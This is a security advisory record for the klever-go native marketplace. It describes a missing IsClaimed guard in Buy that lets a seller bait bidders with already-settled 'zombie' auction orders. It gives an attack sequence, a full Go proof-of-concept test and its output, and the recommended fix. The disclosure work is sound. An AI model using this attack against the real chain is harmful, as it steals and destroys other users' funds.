{"id":"GHSA-26r5-4mm2-px5c","summary":"Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace","details":"**Location:** `core/kapp/market/market.go` — `Buy()` (approx. L281–436)\\\n**Severity:** High\n\nThe native marketplace enforces an `IsClaimed` guard in `Claim` (`market.go:752`), `CancelOrder` (`market.go:1125`), and `orderEscrowAmount` (`market.go:251`), but **not in `Buy`**.\n\nMarketplace escrow is *virtual*: the market KApp account never custodies currency. A bid burns funds from the bidder (`bidderAcc.SubFromBalance`, ~L378), and refunds/payouts mint to the recipient (`AddToBalance`, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's `CurrentBid` being paid out exactly once.\n\nA seller can settle a resting-bid auction **early** via the seller-accept branch of `Claim` (~L776) → `executeBuyMarket` (~L656). That path sets `IsClaimed=true`, delivers the NFT, pays the seller, and re-saves the order (`SetMarketOrder`, ~L726) — but, unlike every other settle path, it does **not** reset `EndTime` (contrast immediate-buy `Buy` ~L416 and `CancelOrder` ~L1206), and no code path deletes the order. The result is a \"zombie\" order: already settled, yet still loadable with `EndTime` in the future and a stale `CurrentBidder`.\n\nBecause `Buy` has no `IsClaimed` guard, a new bidder can still `Buy` on that settled order (the bid guard at ~L317 only forces the new amount `Y \u003e CurrentBid X`). The new bidder is debited `Y`; the prior bidder is refunded `X` (funded by the new bidder, not minted); the new bidder becomes `CurrentBidder` on an `IsClaimed` order and can then neither `Claim` (reverts on `IsClaimed`) nor `CancelOrder` (reverts on `IsClaimed`). Their funds are lost permanently.\n\n**Attack sequence (permissionless , anyone can create a sell order):**\n1. Attacker (seller `S`) creates a resting-bid auction (`Price=0`, `ReservePrice\u003e0`) for an NFT and self-bids `X` as bidder `A` (Sybil).\n2. `S` accepts `A`'s bid early via `Claim` → NFT goes to `A` (= attacker, keeps it), `S` (= attacker) collects the owner payout, order marked `IsClaimed=true` but left \"live\".\n3. Victim `B` bids `Y \u003e X` on the still-live-looking auction via `Buy`. `Buy` refunds prior bidder `A` the amount `X` (`AddToBalance`, L349) and burns `Y` from `B` (`SubFromBalance`, L378).\n4. `B` is now `CurrentBidder` on a claimed order and can neither `Claim` nor `CancelOrder` — both revert on `IsClaimed`. `B`'s `Y` is unrecoverable; `X` of it was siphoned to `A`; `Y−X` is destroyed.\n\n### POC\n```\npackage market\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/core/process/kda/kdautils\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/kvm/mock/stub\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft\n// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`\n// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.\n//\n// Attack (attacker A == seller S, victim B):\n//  1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).\n//  2. A places a resting bid X \u003e= R via Buy (records CurrentBid/CurrentBidder,\n//     no settlement because Price==0).\n//  3. S accepts the resting bid early via Claim's seller-accept branch (L776),\n//     which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,\n//     proceeds paid to S(=A). This settle path is the ONLY one that does NOT\n//     reset EndTime and does NOT delete the order -\u003e the order becomes a live\n//     \"zombie\" (IsClaimed=true, EndTime in the future, still loadable).\n//  4. Victim B calls Buy on the zombie order with Y \u003e X. Buy has no IsClaimed\n//     guard, so it SUCCEEDS: B is debited Y, prior bidder A is \"refunded\" X\n//     (funded by B), and B becomes CurrentBidder on an already-claimed order.\n//  5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on\n//     IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.\n//\n// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.\nfunc TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {\n\tconst (\n\t\tblockTime   = int64(1000)\n\t\tendTime     = int64(1_001_000) // future relative to blockTime\n\t\treserve     = int64(1_000_000) // R\n\t\tbidX        = int64(1_000_000) // A's resting bid (== reserve, \u003e= reserve required)\n\t\tbidY        = int64(2_000_000) // B's bid on the zombie order (must be \u003e X)\n\t\tfundAttacker = int64(10_000_000)\n\t\tfundVictim   = int64(10_000_000)\n\t)\n\n\tklv := kdautils.KLVIdentifier\n\tcollectionID := []byte(\"ZOMBIE-COLL\")\n\tassetID := []byte(\"1\")\n\tmarketplaceID := []byte(\"mp-zombie\")\n\torderID := []byte(\"order-zombie\")\n\n\tattacker := defaultAddr  // A == S (seller and first bidder)\n\tvictim := defaultOther   // B\n\n\tmarketKApp, accCacher, forkController := createTestMarketKApp(t)\n\t// Post-fork behaviour (guards on royalty overflow enabled); does not touch\n\t// the missing-IsClaimed-guard path being tested.\n\tforkController.FixMarketBuyOverflowValue = true\n\n\t// --- Fund the two user accounts (Buy debits real balances) ---\n\tattackerAcc, err := accCacher.LoadUser(attacker)\n\trequire.NoError(t, err)\n\trequire.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))\n\trequire.NoError(t, accCacher.UpdateUser(attackerAcc))\n\n\tvictimAcc, err := accCacher.LoadUser(victim)\n\trequire.NoError(t, err)\n\trequire.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))\n\trequire.NoError(t, accCacher.UpdateUser(victimAcc))\n\n\t// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---\n\tmarketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{\n\t\tID:                 marketplaceID,\n\t\tOwnerAddress:       attacker,\n\t\tName:               []byte(\"Zombie Market\"),\n\t\tReferralAddress:    attacker,\n\t\tReferralPercentage: 0, // keep accounting clean\n\t}))\n\t// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).\n\trequire.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte(\"nft-data\")))\n\n\t// Auction with Price=0, ReservePrice=R -\u003e bids REST (see Buy L330-337 and\n\t// Sell L1003-1014: Auction has no Price\u003e0 requirement).\n\torder := &kapps.MarketOrderData{\n\t\tID:                 orderID,\n\t\tMarketplaceID:      marketplaceID,\n\t\tMarketType:         kapps.MarketOrderData_Auction,\n\t\tOwnerAddress:       attacker,\n\t\tCollectionID:       collectionID,\n\t\tAssetID:            assetID,\n\t\tCurrencyID:         klv,\n\t\tPrice:              0,       // \u003c-- makes bids rest instead of auto-settle\n\t\tReservePrice:       reserve, // R\n\t\tReferralPercentage: 0,\n\t\tStartTime:          blockTime,\n\t\tEndTime:            endTime, // future\n\t\tIsClaimed:          false,\n\t}\n\trequire.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))\n\trequire.NoError(t, accCacher.UpdateKapp(marketKappAcc))\n\n\t// --- Shared KApp context / controller wiring for all handler calls ---\n\treceiptsStub := mock.NewReceiptsContextStub()\n\tctx := &mock.KAppContextStub{\n\t\tContractIDCalled: func() int { return 0 },\n\t\tReceiptsCalled:   func() kapp.ReceiptsContext { return receiptsStub },\n\t\tBlockCalled: func() *block.Block {\n\t\t\treturn &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}\n\t\t},\n\t\tTxNonceCalled: func() uint64 { return 1 },\n\t}\n\t// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.\n\tasset := &kapps.KDAData{\n\t\tOwnerAddress: attacker,\n\t\tRoyalties: &kapps.RoyaltiesData{\n\t\t\tAddress:          attacker,\n\t\t\tMarketPercentage: 0,\n\t\t\tSplitRoyalties:   make(map[string]*kapps.RoyaltySplitData),\n\t\t},\n\t}\n\tcontrollerStub := &stub.KAppControllerStub{\n\t\tGetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },\n\t\tGetKDAKAppCalled: func() kapp.KDAKapp {\n\t\t\treturn &stub.KDAKappStub{\n\t\t\t\tGetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {\n\t\t\t\t\treturn nil, asset, nil\n\t\t\t\t},\n\t\t\t}\n\t\t},\n\t}\n\trequire.NoError(t, marketKApp.SetKAppController(controllerStub))\n\n\tbalance := func(addr []byte) int64 {\n\t\ta, e := accCacher.LoadUser(addr)\n\t\trequire.NoError(t, e)\n\t\treturn a.GetBalance(klv, false)\n\t}\n\n\t// ============================================================\n\t// STEP 1: A places a RESTING bid X via the real Buy handler.\n\t// ============================================================\n\tstatus, err := marketKApp.Buy(attacker, &transaction.BuyContract{\n\t\tID:         orderID,\n\t\tCurrencyID: klv,\n\t\tAmount:     bidX,\n\t})\n\trequire.NoError(t, err, \"resting bid should succeed\")\n\trequire.Equal(t, transaction.Transaction_Ok, status)\n\n\t_, restedOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, bidX, restedOrder.CurrentBid, \"bid must REST (record CurrentBid), not settle\")\n\trequire.Equal(t, attacker, restedOrder.CurrentBidder)\n\trequire.False(t, restedOrder.IsClaimed, \"resting bid must not settle the order\")\n\trequire.Equal(t, fundAttacker-bidX, balance(attacker), \"A debited X on the resting bid\")\n\n\t// ============================================================\n\t// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept\n\t//         branch). This settles the order but leaves EndTime in the future\n\t//         and does NOT delete the order -\u003e zombie order.\n\t// ============================================================\n\tstatus, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID})\n\trequire.NoError(t, err, \"early seller-accept claim should succeed\")\n\trequire.Equal(t, transaction.Transaction_Ok, status)\n\n\t_, settledOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err, \"order must remain LOADABLE after early claim (not deleted)\")\n\trequire.True(t, settledOrder.IsClaimed, \"order is now claimed/settled\")\n\trequire.GreaterOrEqual(t, settledOrder.EndTime, blockTime,\n\t\t\"BUG: early-claim settle path leaves EndTime in the future (order looks live)\")\n\trequire.Equal(t, endTime, settledOrder.EndTime, \"EndTime was NOT reset by the settle path\")\n\n\t// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.\n\trequire.Equal(t, fundAttacker, balance(attacker), \"A recovered X as owner payout on settle\")\n\n\t// ============================================================\n\t// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y\u003eX.\n\t//         Buy has NO IsClaimed guard -\u003e this SUCCEEDS (the vulnerability).\n\t// ============================================================\n\tstatus, err = marketKApp.Buy(victim, &transaction.BuyContract{\n\t\tID:         orderID,\n\t\tCurrencyID: klv,\n\t\tAmount:     bidY,\n\t})\n\trequire.NoError(t, err, \"BUG: Buy accepts a bid on an already-claimed (settled) order\")\n\trequire.Equal(t, transaction.Transaction_Ok, status,\n\t\t\"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)\")\n\n\trequire.Equal(t, fundVictim-bidY, balance(victim), \"B debited Y\")\n\trequire.Equal(t, fundAttacker+bidX, balance(attacker),\n\t\t\"A received a PHANTOM refund of X (funded by B) on the zombie order\")\n\n\t_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, victim, zombieOrder.CurrentBidder, \"B is now CurrentBidder on a claimed order\")\n\trequire.Equal(t, bidY, zombieOrder.CurrentBid)\n\trequire.True(t, zombieOrder.IsClaimed, \"order is STILL claimed - B is stuck\")\n\n\t// ============================================================\n\t// HARM ASSERTION (a): B cannot Claim -\u003e reverts on IsClaimed (market.go L752).\n\t// ============================================================\n\tstatus, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID})\n\trequire.Error(t, err, \"HARM: B's Claim must revert (order already claimed)\")\n\trequire.Equal(t, transaction.Transaction_ParameterInvalid, status,\n\t\t\"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund\")\n\n\t// ============================================================\n\t// HARM ASSERTION (b): B cannot CancelOrder -\u003e reverts on IsClaimed (market.go L1125).\n\t// ============================================================\n\tstatus, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID})\n\trequire.Error(t, err, \"HARM: B's CancelOrder must revert (order already claimed)\")\n\trequire.Equal(t, transaction.Transaction_ParameterInvalid, status,\n\t\t\"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds\")\n\n\t// ============================================================\n\t// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT\n\t//         and no recovery path; A is permanently up X.\n\t// ============================================================\n\trequire.Equal(t, fundVictim-bidY, balance(victim),\n\t\t\"HARM: B is down Y (%d) with no NFT and no recoverable path\", bidY)\n\trequire.Equal(t, fundAttacker+bidX, balance(attacker),\n\t\t\"HARM: A is up X (%d), siphoned from B\", bidX)\n\n\t// Confirm B never received the NFT (it was delivered to A at settle time).\n\tvictimFinal, err := accCacher.LoadUser(victim)\n\trequire.NoError(t, err)\n\t_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)\n\trequire.Error(t, nftErr, \"HARM: B holds no NFT for the funds it lost\")\n\n\tt.Logf(\"PROVEN: B lost %d KLV (balance %d -\u003e %d), unrecoverable. A gained %d KLV (balance %d -\u003e %d). \"+\n\t\t\"Y-X = %d KLV destroyed/stranded.\",\n\t\tbidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)\n}\n```\nExecutable Go test: `core/kapp/market/poc_zombie_order_test.go` — `TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy`\n\nRun:\n```\ncd klever-go\nGOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v\n```\n(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per `go.mod`. Full market package suite passes no regressions.)\n\nOutput:\n```\nPROVEN: B lost 2000000 KLV (balance 10000000 -\u003e 8000000), unrecoverable.\n        A gained 1000000 KLV (balance 10000000 -\u003e 11000000). Y-X = 1000000 KLV destroyed/stranded.\n--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)\nPASS\n```\n\nAssertions proven (all using real market functions, harm-level not mechanism-level):\n- Resting bid: `Price=0` auction → bid rests (`CurrentBid=X`, `IsClaimed=false`), no auto-settle.\n- Early seller-accept `Claim` → `IsClaimed=true`, `EndTime` still in the future, order still loadable (the zombie).\n- Victim `Buy` on the claimed order returns `Transaction_Ok` (the vulnerability no `IsClaimed` guard).\n- Harm (a): victim's `Claim` reverts `Transaction_ParameterInvalid`.\n- Harm (b): victim's `CancelOrder` reverts `Transaction_ParameterInvalid`.\n- Harm (c): victim `−Y`, attacker `+X`, victim holds no NFT and has no recovery path.\n\n### Impact\n\n- **Direct, permanent fund loss** for any bidder who bids on an already-settled order. The victim's entire bid `Y` is burned with nothing received and no recovery path (`Claim` and `CancelOrder` both revert on `IsClaimed`).\n- **Theft**: the attacker (seller, also acting as prior bidder `A` via Sybil) keeps the NFT *and* harvests `≈X` from each subsequent bidder. Repeatable across many bait orders.\n- **Value destruction**: `Y−X` per victim is burned (supply strictly decreases  this is theft/fund-loss, not net inflation).\n- No privileged role required , anyone can create a marketplace sell order.\n- Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads `EndTime`-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable). \n\nImpact High × Likelihood Medium -\u003e **High**.\n\n### Recommendation\n\nAdd an `IsClaimed` guard at the top of `Buy`, mirroring `Claim` (`market.go:752`) and `CancelOrder` (`market.go:1125`):\n\n```go\nif marketOrder.IsClaimed {\n    return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed\n}\n```\n\nDefense-in-depth (optional but recommended): in `executeBuyMarket`, reset `EndTime`/`CurrentBid`/`CurrentBidder` (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.","aliases":["CVE-2026-82406"],"modified":"2026-09-23T21:45:10.244212619Z","published":"2026-09-23T21:24:03Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-841"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-23T21:24:03Z"},"references":[{"type":"WEB","url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-26r5-4mm2-px5c"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/pull/16"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/commit/063bb3ed98f9a84a4b1f7286680613a5fc3c91b2"},{"type":"PACKAGE","url":"https://github.com/klever-io/klever-go"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/releases/tag/v1.7.20"}],"affected":[{"package":{"name":"github.com/klever-io/klever-go","ecosystem":"Go","purl":"pkg:golang/github.com/klever-io/klever-go"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.20"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.7.19","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-26r5-4mm2-px5c/GHSA-26r5-4mm2-px5c.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}